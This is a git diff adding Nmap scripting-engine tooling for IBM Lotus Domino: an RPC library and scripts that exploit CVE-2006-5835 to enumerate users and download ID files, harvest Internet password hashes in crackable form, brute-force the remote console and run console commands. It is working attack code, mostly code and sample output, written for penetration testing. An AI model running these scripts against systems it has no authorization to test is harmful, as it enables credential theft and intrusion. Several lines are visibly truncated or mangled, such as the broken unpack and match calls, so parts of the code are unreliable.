diff --git a/CHANGELOG b/CHANGELOG
index 4452eb3de..ffaf1f8f0 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,5 +1,15 @@
# Nmap Changelog ($Id$); -*-text-*-
+o [NSE] Added a smallish Lotus Domino rpc library (nrpc.lua) and some Lotus
+ Domino oriented scripts:
+ - domino-enum-users.nse guesses users and attempts to download ID files by
+ exploiting (CVE-2006-5835).
+ - domino-enum-passwords attempts to download Internet passwords and ID files
+ from the web server.
+ - domcon-brute performs password guessing against the remote console.
+ - domcon-cmd adds support for running custom remote console commands.
+ [Patrik]
+
o [NSE] Added an Informix library and three scripts that make use of it:
- informix-brute uses the brute framework to perform password guessing
- informix-query add support for running SQL queries against Informix
diff --git a/nselib/nrpc.lua b/nselib/nrpc.lua
new file mode 100644
index 000000000..a0b752891
--- /dev/null
+++ b/nselib/nrpc.lua
@@ -0,0 +1,226 @@
+--- A minimalistic library to support Domino RPC
+--
+-- Summary
+-- -------
+-- The library currently only supports user enumeration and uses chunks of
+-- captured data to do so.
+--
+-- Overview
+-- --------
+-- The library contains the following classes:
+--
+-- o DominoPacket
+-- - The packet class holding the packets sent between the client and the
+-- IBM Lotus Domino server
+--
+-- o Helper
+-- - A helper class that provides easy access to the rest of the library
+--
+-- o DominoSocket
+-- - This is a copy of the DB2Socket class which provides fundamental
+-- buffering
+--
+--
+-- Example
+-- -------
+-- The following sample code illustrates how scripts can use the Helper class
+-- to interface the library:
+--
+--
+-- helper = nrpc.Helper:new(host, port)
+-- status, err = nrpc:Connect()
+-- status, res = nrpc:isValidUser("Patrik Karlsson")
+-- status, err = nrpc:Close()
+--
+--
+-- @copyright Same as Nmap--See http://nmap.org/book/man-legal.html
+-- @author "Patrik Karlsson "
+--
+
+--
+-- Version 0.1
+-- Created 07/23/2010 - v0.1 - created by Patrik Karlsson
+--
+
+
+module(... or "nrpc", package.seeall)
+
+-- The Domino Packet
+DominoPacket = {
+
+ --- Creates a new DominoPacket instance
+ --
+ -- @param data string containing the packet data
+ -- @return a new DominoPacket instance
+ new = function( self, data )
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.data = data
+ return o
+ end,
+
+ --- Reads a packet from the DominoSocket
+ --
+ -- @param domsock DominoSocket connected to the server
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ read = function( self, domsock )
+ local status, data = domsock:recv(2)
+ local pos, len = bin.unpack( ""tcp", "udp", or
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ connect = function( self, hostid, port, protocol )
+ self.Socket:set_timeout(5000)
+ return self.Socket:connect( hostid, port, protocol )
+ end,
+
+ --- Closes an open connection.
+ --
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ close = function( self )
+ return self.Socket:close()
+ end,
+
+ --- Opposed to the socket:receive_bytes function, that returns
+ -- at least x bytes, this function returns the amount of bytes requested.
+ --
+ -- @param count of bytes to read
+ -- @return true on success, false on failure
+ -- @return data containing bytes read from the socket
+ -- err containing error message if status is false
+ recv = function( self, count )
+ local status, data
+
+ self.Buffer = self.Buffer or ""
+
+ if ( #self.Buffer < count ) then
+ status, data = self.Socket:receive_bytes( count - #self.Buffer )
+ if ( not(status) ) then
+ return false, data
+ end
+ self.Buffer = self.Buffer .. data
+ end
+
+ data = self.Buffer:sub( 1, count )
+ self.Buffer = self.Buffer:sub( count + 1)
+
+ return true, data
+ end,
+
+ --- Sends data over the socket
+ --
+ -- @return Status (true or false).
+ -- @return Error code (if status is false).
+ send = function( self, data )
+ return self.Socket:send( data )
+ end,
+}
+
+Helper = {
+
+ --- Creates a new Helper instance
+ --
+ -- @param host table as recieved by the script action method
+ -- @param port table as recieved by the script action method
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.domsock = DominoSocket:new()
+ return o
+ end,
+
+ --- Connects the socket to the Domino server
+ --
+ -- @return status true on success, false on failure
+ -- @return err error message if status is false
+ connect = function( self )
+ if( not( self.domsock:connect( self.host.ip, self.port.number, "tcp" ) ) ) then
+ return false, ("ERROR: Failed to connect to Domino server %s:%d\n"):format(self.host, self.port)
+ end
+ return true
+ end,
+
+ --- Disconnects from the Lotus Domino Server
+ --
+ -- @return status true on success, false on failure
+ -- @return err error message if status is false
+ disconnect = function( self )
+ return self.domsock:close()
+ end,
+
+ --- Attempt to check whether the user exists in Domino or not
+ --
+ -- @param username string containing the user name to guess
+ -- @return status true on success false on failure
+ -- @return domino_id if it exists and status is true
+ -- err if status is false
+ isValidUser = function( self, username )
+ local data = bin.pack("H", "00001e00000001000080000007320000700104020000fb2b2d00281f1e000000124c010000000000")
+ local status, id_data
+ local data_len, pos, total_len, pkt_type, valid_user
+
+ self.domsock:send( tostring(DominoPacket:new( data )) )
+ data = DominoPacket:new():read( self.domsock )
+
+ data = bin.pack("HCHAH", "0100320002004f000100000500000900", #username + 1, "000000000000000000000000000000000028245573657273290000", username, "00")
+ self.domsock:send( tostring(DominoPacket:new( data ) ) )
+ status, id_data = DominoPacket:new():read( self.domsock )
+
+ pos, pkt_type = bin.unpack("C", id_data, 3)
+ pos, valid_user = bin.unpack("C", id_data, 11)
+ pos, total_len = bin.unpack("
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2050/tcp open unknown syn-ack
+-- | domcon-brute:
+-- | Accounts
+-- |_ patrik karlsson:secret => Login correct
+--
+-- Summary
+-- -------
+-- x The Driver class contains the driver implementation used by the brute
+-- library
+--
+--
+
+--
+-- Version 0.1
+-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+
+require 'shortport'
+require 'brute'
+
+portrule = shortport.port_or_service(2050, "", "tcp", "open")
+
+local not_admins = {}
+
+SocketPool = {
+
+ new = function(self, max_sockets)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.max_sockets = max_sockets
+ o.pool = {}
+ return o
+ end,
+
+ getSocket = function(self, host, port)
+ while(true) do
+ for i=1, #self.pool do
+ if ( not( self.pool[i].inuse ) ) then
+ self.pool[i].inuse = true
+ return self.pool[i].socket
+ end
+ end
+ if ( #self.pool < self.max_sockets ) then
+ local socket = nmap.new_socket()
+ local status = socket:connect( host.ip, port.number, "tcp")
+
+ if ( status ) then
+ socket:reconnect_ssl()
+ end
+
+ if ( status and socket ) then
+ table.insert( self.pool, {['socket'] = socket, ['inuse'] = false})
+ end
+ end
+ stdnse.sleep(1)
+ end
+ end,
+
+ releaseSocket = function( self, socket )
+ for i=1, #self.pool do
+ if( socket == self.pool[i].socket ) then
+ self.pool[i].inuse = false
+ break
+ end
+ end
+ end,
+
+ shutdown = function( self )
+ for i=1, #self.pool do
+ self.pool[i].socket:close()
+ end
+ end,
+
+}
+
+Driver =
+{
+
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.sockpool = options
+ return o
+ end,
+
+ connect = function( self )
+ self.socket = self.sockpool:getSocket( self.host, self.port )
+
+ if ( self.socket ) then
+ return true
+ else
+ return false
+ end
+ end,
+
+ --- Attempts to login to the Lotus Domino Console
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- brute.Account object on success
+ login = function( self, username, password )
+ local data = ("#UI %s,%s\n"):format(username,password)
+ local status
+
+ if ( not_admins[username] ) then
+ return false, brute.Error:new( "Incorrect password" )
+ end
+
+ status, data = self.socket:send( data )
+ if ( not(status) ) then
+ local err = brute.Error:new( data )
+ err:setRetry(true)
+ return false, err
+ end
+
+ status, data = self.socket:receive_bytes(5)
+
+ if ( status and data:match("NOT_REG_ADMIN") ) then
+ not_admins[username] = true
+ elseif( status and data:match("VALID_USER") ) then
+ return true, brute.Account:new( username, password, "OPEN")
+ end
+
+ return false, brute.Error:new( "Incorrect password" )
+
+ end,
+
+ disconnect = function( self )
+ self.sockpool:releaseSocket( self.socket )
+ end,
+
+ check = function( self )
+ return true
+ end,
+
+}
+
+
+action = function(host, port)
+ local status, result
+ local pool = SocketPool:new(10)
+ local engine = brute.Engine:new(Driver, host, port, pool )
+
+ status, result = engine:start()
+ pool:shutdown()
+
+ return result
+end
\ No newline at end of file
diff --git a/scripts/domcon-cmd.nse b/scripts/domcon-cmd.nse
new file mode 100644
index 000000000..d0ba10eb8
--- /dev/null
+++ b/scripts/domcon-cmd.nse
@@ -0,0 +1,134 @@
+description = [[
+Runs a console command on the Lotus Domino Console
+]]
+
+---
+-- @usage
+-- nmap -np 2050 --script domcon-cmd --script-args domcon-cmd.cmd="show server", \
+-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 2050/tcp open unknown syn-ack
+-- | domcon-cmd:
+-- | show server
+-- |
+-- | Lotus Domino (r) Server (Release 8.5 for Windows/32) 2010-07-30 00:52:58
+-- |
+-- | Server name: server1/cqure - cqure testing server
+-- | Domain name: cqure
+-- | Server directory: C:\Program Files\IBM\Lotus\Domino\data
+-- | Partition: C.Program Files.IBM.Lotus.Domino.data
+-- | Elapsed time: 00:27:11
+-- | Transactions/minute: Last minute: 0; Last hour: 0; Peak: 0
+-- | Peak # of sessions: 0 at
+-- | Transactions: 0 Max. concurrent: 20
+-- | ThreadPool Threads: 20 (TCPIP Port)
+-- | Availability Index: 100 (state: AVAILABLE)
+-- | Mail Tracking: Not Enabled
+-- | Mail Journalling: Not Enabled
+-- | Number of Mailboxes: 1
+-- | Pending mail: 0 Dead mail: 0
+-- | Waiting Tasks: 0
+-- | DAOS: Not Enabled
+-- | Transactional Logging: Not Enabled
+-- | Fault Recovery: Not Enabled
+-- | Activity Logging: Not Enabled
+-- | Server Controller: Enabled
+-- | Diagnostic Directory: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT
+-- | Console Logging: Enabled (1K)
+-- | Console Log File: C:\Program Files\IBM\Lotus\Domino\data\IBM_TECHNICAL_SUPPORT\console.log
+-- |_ DB2 Server: Not Enabled
+--
+-- @args domcon-cmd.cmd The command to run on the remote server
+-- @args domcon-cmd.user The user used to authenticate to the server
+-- @args domcon-cmd.pass The password used to authenticate to the server
+--
+
+--
+-- Version 0.1
+-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+
+require 'shortport'
+
+portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open")
+
+--- Reads an API block from the server
+--
+-- @param socket already connected to the server
+-- @return status true on success, false on failure
+-- @return result table containing lines with server response
+-- or error message if status is false
+local function readAPIBlock( socket )
+
+ local lines
+ local result = {}
+ local status, line = socket:receive_lines(1)
+
+ if ( not(status) ) then return false, "Failed to read line" end
+ lines = stdnse.strsplit( "\n", line )
+
+ for _, line in ipairs( lines ) do
+ if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
+ table.insert(result, line)
+ end
+ end
+
+ -- Clear trailing empty lines
+ while( true ) do
+ if ( result[#result] == "" ) then
+ table.remove(result, #result)
+ else
+ break
+ end
+ end
+
+ return true, result
+
+end
+
+action = function(host, port)
+
+ local socket = nmap.new_socket()
+ local result_part, result, cmds = {}, {}, {}
+ local user = nmap.registry.args['domcon-cmd.user']
+ local pass = nmap.registry.args['domcon-cmd.pass']
+ local cmd = nmap.registry.args['domcon-cmd.cmd']
+
+ if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
+ if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
+ if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
+
+ cmds = stdnse.strsplit(";%s*", cmd)
+
+ socket:set_timeout(10000)
+ status = socket:connect( host.ip, port.number, "tcp")
+ if ( status ) then
+ socket:reconnect_ssl()
+ end
+
+ socket:send("#API\n")
+ socket:send( ("#UI %s,%s\n"):format(user,pass) )
+ socket:receive_lines(1)
+ socket:send("#EXIT\n")
+
+ for i=1, #cmds do
+ socket:send(cmds[i] .. "\n")
+ status, result_part = readAPIBlock( socket )
+ if( status ) then
+ result_part.name = cmds[i]
+ table.insert( result, result_part )
+ else
+ return " \n ERROR: " .. result_part
+ end
+ end
+
+ socket:close()
+
+ return stdnse.format_output( true, result )
+end
\ No newline at end of file
diff --git a/scripts/domino-enum-passwords.nse b/scripts/domino-enum-passwords.nse
new file mode 100644
index 000000000..118f366c0
--- /dev/null
+++ b/scripts/domino-enum-passwords.nse
@@ -0,0 +1,318 @@
+description = [[
+Attempts to enumerate the hashed Domino Internet Passwords, that by default are accessible to all authenticated users.
+The script can also download any Domino ID Files attached to the Person document.
+]]
+
+---
+-- @usage
+-- nmap --script domino-enum-passwords -p 80 --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret
+--
+-- This script attempts to enumerate the password hashes used to authenitcate
+-- to the Lotus Domino Web interface. By default, these hashes are accessible
+-- to every authenticated user. Passwords are presented in a form suitable for
+-- running in John the Ripper. In addition the script can be used to download
+-- any ID files attached to the Person document.
+--
+-- It appears as if form based authentication is enabled, basic authentication
+-- still works. Therefore the script should work in both scenarios. Valid
+-- credentials can either be supplied directly using the parameters username
+-- and password or indirectly from results of http-brute or http-form-brute.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | domino-enum-passwords:
+-- | Information
+-- | Information retrieved as: "Jim Brass"
+-- | Internet hashes
+-- | Jim Brass:(GYvlbOz2idzni5peJUdD)
+-- | Warrick Brown:(GZghNctqAnJgyklUl2ml)
+-- | Gill Grissom:(GyhsteeXTr75YOSwW8mc)
+-- | David Hodges:(GZEJRHqJEVc5IZCsNX0U)
+-- | Ray Langston:(GE18MGVGD/8ftYMFaVlY)
+-- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj)
+-- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl)
+-- | Wendy Simms:(G6wooaElHpsvA4TPvSfi)
+-- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp)
+-- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM)
+-- | ID Files
+-- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id)
+-- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id)
+-- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id)
+-- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id)
+-- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id)
+-- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id)
+-- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id)
+-- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id)
+-- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id)
+-- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id)
+-- |
+-- |_ Results limited to 10 results (see domino-enum-passwords.count)
+--
+--
+-- @args domino-enum-passwords.path points to the path protected by authentication
+-- @args domino-enum-passwords.hostname sets the host header in case of virtual hosting
+-- @args domino-enum-passwords.count the number of internet hashes and id files to fetch.
+-- If a negative value is given, all hashes and id files are retrieved (default: 10)
+-- @args domino-enum-passwords.idpath the path where downloaded ID files should be saved
+-- If not given, the script will only indicate if the ID file is donwloadable or not
+
+--
+-- Version 0.2
+-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson
+-- Revised 07/31/2010 - v0.2 - add support for downloading ID files
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+dependencies = {"http-brute", "http-form-brute"}
+
+require 'shortport'
+require 'http'
+
+portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open")
+
+--- Checks if the path require authentication
+--
+-- @param host table as received by the action function or the name specified
+-- in the hostname argument
+-- @param port table as received by the action function
+-- @param path against which to check if authentication is required
+local function requiresAuth( host, port, path )
+ local result = http.get(host, port, "/names.nsf")
+
+ if ( result.status == 401 ) then
+ return true
+ elseif ( result.status == 200 and result.body and result.body:match("path
+--
+-- @param host table as received by the action function or the name specified
+-- in the hostname argument
+-- @param port as recieved by the action method
+-- @param path the patch against which to validate the credentials
+-- @param user the username used for authentication
+-- @param pass the password used for authentication
+-- @return true on valid access, false on failure
+local function isValidCredential( host, port, path, user, pass )
+ -- we need to supply the no_cache directive, or else the http library
+ -- incorrectly tells us that the authentication was successfull
+ local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true })
+
+ if ( result.status == 401 ) then
+ return false
+ end
+ return true
+end
+
+--- Retrieves all uniq links in a pages
+--
+-- @param body the html content of the recieved page
+-- @param filter a filter to use for additional link filtering
+-- @param links [optional] table containing previousy retrieved links
+-- @return links table containing retrieved links
+local function getLinks( body, filter, links )
+ local tmp = {}
+ local links = links or {}
+ local filter = filter or ".*"
+
+ if ( not(body) ) then return end
+ for _, v in ipairs( links ) do
+ tmp[v] = true
+ end
+
+ for link in body:gmatch("")
+ local http_passwd = body:match("")
+ local dsp_http_passwd = body:match("")
+ local id_file = body:match("")
+
+ -- In case we have more than one full name, return only the last
+ full_name = stdnse.strsplit(";%s*", full_name)
+ full_name = full_name[#full_name]
+
+ return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file }
+end
+
+--- Saves the ID file to disk
+--
+-- @param filename string containing the name and full path to the file
+-- @param data contains the data
+-- @return status true on success, false on failure
+-- @return err string containing error message if status is false
+local function saveIDFile( filename, data )
+ local f = io.open( filename, "w")
+ if ( not(f) ) then
+ return false, ("Failed to open file (%s)"):format(filename)
+ end
+ if ( not(f:write( data ) ) ) then
+ return false, ("Failed to write file (%s)"):format(filename)
+ end
+ f:close()
+
+ return true
+end
+
+
+action = function(host, port)
+
+ local path = "/names.nsf"
+ local download_path = nmap.registry.args['domino-enum-passwords.idpath']
+ local vhost= nmap.registry.args['domino-enum-passwords.hostname']
+ local user = nmap.registry.args['domino-enum-passwords.username']
+ local pass = nmap.registry.args['domino-enum-passwords.password']
+ local creds, pos, pager
+ local links, result, hashes, id_files = {}, {}, {}, {}
+ local chunk_size = 30
+ local max_fetch = nmap.registry.args['domino-enum-passwords.count'] and tonumber(nmap.registry.args['domino-enum-passwords.count']) or 10
+ local http_response
+
+ if ( nmap.registry['credentials'] and nmap.registry['credentials']['http'] ) then
+ creds = nmap.registry['credentials']['http']
+ end
+
+ -- authentication required?
+ if ( requiresAuth( vhost or host, port, path ) ) then
+ if ( not(user) and not(creds) ) then
+ return " \n ERROR: No credentials supplied (see domino-enum-passwords.username and domino-enum-passwords.password)"
+ end
+
+ -- A user was provided, attempt to authenticate
+ if ( user ) then
+ if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then
+ return " \n ERROR: The provided credentials where invalid"
+ end
+ elseif ( creds ) then
+ for _, cred in pairs(creds) do
+ if ( isValidCredential( vhost or host, port, path, cred.username, cred.password ) ) then
+ user = cred.username
+ pass = cred.password
+ break
+ end
+ end
+ end
+ end
+
+ if ( not(user) and not(pass) ) then
+ return " \n ERROR: No valid credentials were found (see domino-enum-passwords.username and domino-enum-passwords.password)"
+ end
+
+ path = "/names.nsf/People?OpenView"
+ http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
+ pager = getPager( http_response.body )
+ if ( not(pager) ) then
+ return " \n ERROR: Failed to process results"
+ end
+ pos = 1
+
+ -- first collect all links
+ while( true ) do
+ path = pager .. "&Start=" .. pos
+ http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true })
+
+ if ( http_response.status == 200 ) then
+ local size = #links
+ links = getLinks( http_response.body, "%?OpenDocument", links )
+ -- No additions were made
+ if ( size == #links ) then
+ break
+ end
+ end
+
+ if ( max_fetch > 0 and max_fetch < #links ) then
+ break
+ end
+
+ pos = pos + chunk_size
+ end
+
+ for _, link in ipairs(links) do
+ stdnse.print_debug(2, "Fetching link: %s", link)
+ http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true })
+ local u_details = getUserDetails( http_response.body )
+
+ if ( max_fetch > 0 and #hashes >= max_fetch ) then
+ break
+ end
+
+ if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then
+ stdnse.print_debug(2, "Found Internet has for: %s:%s", u_details.fullname, u_details.passwd)
+ table.insert( hashes, ("%s:%s"):format(u_details.fullname, u_details.passwd))
+ end
+
+ if ( u_details.idfile ) then
+ stdnse.print_debug(2, "Found ID file for user: %s", u_details.fullname)
+ if ( download_path ) then
+ stdnse.print_debug(2, "Downloading ID file for user: %s", u_details.full_name)
+ http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true })
+
+ if ( http_response.status == 200 ) then
+ local status, err = saveIDFile( ("%s/%s.id"):format(download_path, u_details.fullname), http_response.body )
+ if ( status ) then
+ table.insert( id_files, ("%s ID File has been downloaded (%s/%s.id)"):format(u_details.fullname, download_path, u_details.fullname) )
+ else
+ table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) )
+ end
+ else
+ table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) )
+ end
+ else
+ table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) )
+ end
+ end
+ end
+
+ if ( #hashes ) then
+ hashes.name = "Internet hashes"
+ table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } )
+ table.insert( result, hashes )
+
+ if ( #id_files ) then
+ id_files.name = "ID Files"
+ table.insert( result, id_files )
+ end
+ end
+
+ local result = stdnse.format_output(true, result)
+
+ if ( max_fetch > 0 ) then
+ result = result .. (" \n Results limited to %d results (see domino-enum-passwords.count)"):format(max_fetch)
+ end
+
+ return result
+
+end
\ No newline at end of file
diff --git a/scripts/domino-enum-users.nse b/scripts/domino-enum-users.nse
new file mode 100644
index 000000000..e19902074
--- /dev/null
+++ b/scripts/domino-enum-users.nse
@@ -0,0 +1,131 @@
+description = [[
+A script that attempts to discover valid IBM Lotus Domino users and download
+their ID files. (CVE-2006-5835)
+]]
+
+---
+-- @usage
+-- nmap --script domino-enum-users -p 5900
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 1352/tcp open lotusnotes
+-- | domino-enum-users:
+-- | User "Patrik Karlsson" found, but not ID file could be downloaded
+-- | Succesfully stored "FFlintstone" in /tmp/FFlintstone.id
+-- |_ Succesfully stored "MJacksson" in /tmp/MJacksson.id
+--
+--
+-- @args domino-id.path the location to which any retrieved ID files are stored
+-- @args domino-id.username the name of the user from which to retrieve the ID.
+-- If this parameter is not specified, the unpwdb library will be used to
+-- brute force names of users.
+--
+-- For more information see:
+-- http://www-01.ibm.com/support/docview.wss?rs=463&uid=swg21248026
+--
+-- Credits
+-- -------
+-- o Ollie Whitehouse for bringing this to my attention back in the days when
+-- it was first discovered and for the c-code on which this is based.
+
+--
+-- Version 0.1
+-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"intrusive", "auth"}
+
+require 'shortport'
+require 'nrpc'
+require 'unpwdb'
+
+portrule = shortport.port_or_service(1352, "lotusnotes", "tcp", "open")
+
+--- Saves the ID file to disk
+--
+-- @param filename string containing the name and full path to the file
+-- @param data contains the data
+-- @return status true on success, false on failure
+-- @return err string containing error message if status is false
+local function saveIDFile( filename, data )
+ local f = io.open( filename, "w")
+ if ( not(f) ) then
+ return false, ("Failed to open file (%s)"):format(filename)
+ end
+ if ( not(f:write( data ) ) ) then
+ return false, ("Failed to write file (%s)"):format(filename)
+ end
+ f:close()
+
+ return true
+end
+
+action = function(host, port)
+
+ local helper = nrpc.Helper:new( host, port )
+ local status, data, usernames, err
+ local path = nmap.registry.args['domino-enum-users.path']
+ local result = {}
+ local save_file = false
+ local counter = 0
+
+ if ( nmap.registry.args['domino-enum-users.username'] ) then
+ usernames = ( function()
+ local b = true
+ return function()
+ if ( b ) then
+ b=false;
+ return nmap.registry.args['domino-enum-users.username']
+ end
+ end
+ end )()
+ else
+ status, usernames = unpwdb.usernames()
+ if ( not(status) ) then
+ return false, "Failed to load usernames"
+ end
+ end
+
+ for username in usernames do
+ status = helper:connect()
+ if ( not(status) ) then
+ err = ("ERROR: Failed to connect to Lotus Domino Server %s"):format( host.ip )
+ break
+ end
+
+ status, data = helper:isValidUser( username )
+ helper:disconnect()
+
+ if ( status and data and path ) then
+ local filename = ("%s/%s.id"):format(path, username )
+ local status, err = saveIDFile( filename, data )
+
+ if ( status ) then
+ table.insert(result, ("Succesfully stored \"%s\" in %s"):format(username, filename) )
+ else
+ stdnse.print_debug( err )
+ table.insert(result, ("Failed to store \"%s\" to %s"):format(username, filename) )
+ end
+ elseif( status and data ) then
+ table.insert(result, ("Succesfully retrieved ID for \"%s\" (to store set the domino-enum-users.path argument)"):format(username, filename) )
+ elseif ( status ) then
+ table.insert(result, ("User \"%s\" found, but not ID file could be downloaded"):format(username) )
+ end
+
+ counter = counter + 1
+ end
+
+ if ( #result == 0 ) then
+ table.insert(result, ("Guessed %d usernames, none were found"):format(counter) )
+ end
+
+ result = stdnse.format_output( true, result )
+ if ( err ) then
+ result = result .. (" \n %s"):format(err)
+ end
+
+ return result
+end
\ No newline at end of file
diff --git a/scripts/script.db b/scripts/script.db
index 921ce14b4..11a402398 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -24,6 +24,10 @@ Entry { filename = "dns-random-txid.nse", categories = { "external", "intrusive"
Entry { filename = "dns-recursion.nse", categories = { "default", "intrusive", } }
Entry { filename = "dns-service-discovery.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "dns-zone-transfer.nse", categories = { "default", "discovery", "intrusive", } }
+Entry { filename = "domcon-brute.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "domcon-cmd.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "domino-enum-passwords.nse", categories = { "auth", "intrusive", } }
+Entry { filename = "domino-enum-users.nse", categories = { "auth", "intrusive", } }
Entry { filename = "drda-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "drda-info.nse", categories = { "discovery", "safe", "version", } }
Entry { filename = "finger.nse", categories = { "default", "discovery", "safe", } }